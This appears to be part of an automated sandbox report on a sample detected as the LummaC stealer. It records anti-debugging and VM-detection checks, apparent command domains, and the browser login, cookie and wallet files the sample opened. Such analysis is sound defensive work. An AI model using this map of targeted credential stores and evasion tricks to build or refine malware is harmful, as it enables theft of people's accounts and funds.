Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60315 second address: 4A60319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60319 second address: 4A60374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx esi, di 0x0000000d pushfd 0x0000000e jmp 00007FAB24F20E6Dh 0x00000013 add al, FFFFFF86h 0x00000016 jmp 00007FAB24F20E71h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e jmp 00007FAB24F20E6Eh 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FAB24F20E77h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60374 second address: 4A603AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FAB248C33EEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, 3AF04983h 0x00000018 mov dx, si 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603AD second address: 4A603EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 96h 0x00000005 mov ecx, 4DC69973h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e jmp 00007FAB24F20E76h 0x00000013 mov esi, dword ptr [ebp+0Ch] 0x00000016 jmp 00007FAB24F20E70h 0x0000001b test esi, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603EC second address: 4A60412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB248C33F5h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FAB958F1396h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60412 second address: 4A60417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60417 second address: 4A604A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 jmp 00007FAB248C33F0h 0x00000015 je 00007FAB9590943Bh 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FAB248C33EEh 0x00000022 jmp 00007FAB248C33F5h 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007FAB248C33F0h 0x0000002e add al, 00000028h 0x00000031 jmp 00007FAB248C33EBh 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FAB248C33F5h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A604A7 second address: 4A604C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dl, ah 0x0000000f mov edi, 2E4212DAh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A604C8 second address: 4A604CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A604CE second address: 4A604D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A604D2 second address: 4A604D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2EDA8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2ECFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD3BBB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2C202 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1120	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1134	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1060	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1145	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1096	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 2172	Thread sleep count: 1120 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2172	Thread sleep time: -2241120s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5292	Thread sleep count: 1134 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5292	Thread sleep time: -2269134s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4696	Thread sleep count: 1060 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4696	Thread sleep time: -2121060s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5280	Thread sleep count: 1145 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5280	Thread sleep time: -2291145s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6844	Thread sleep count: 1096 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6844	Thread sleep time: -2193096s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.3343284035.0000000000CB6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2513819679.000000000537C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.3342585795.000000000099F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.000000000096E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2513819679.000000000537C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.3334724396.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076430506.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2512711775.00000000009E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.3343284035.0000000000CB6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2513886304.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.3343559613.0000000000CFD000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: >|Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.3321990330.00000000009F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334724396.00000000009DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334498980.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3323405355.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.00000000009FB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6632, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
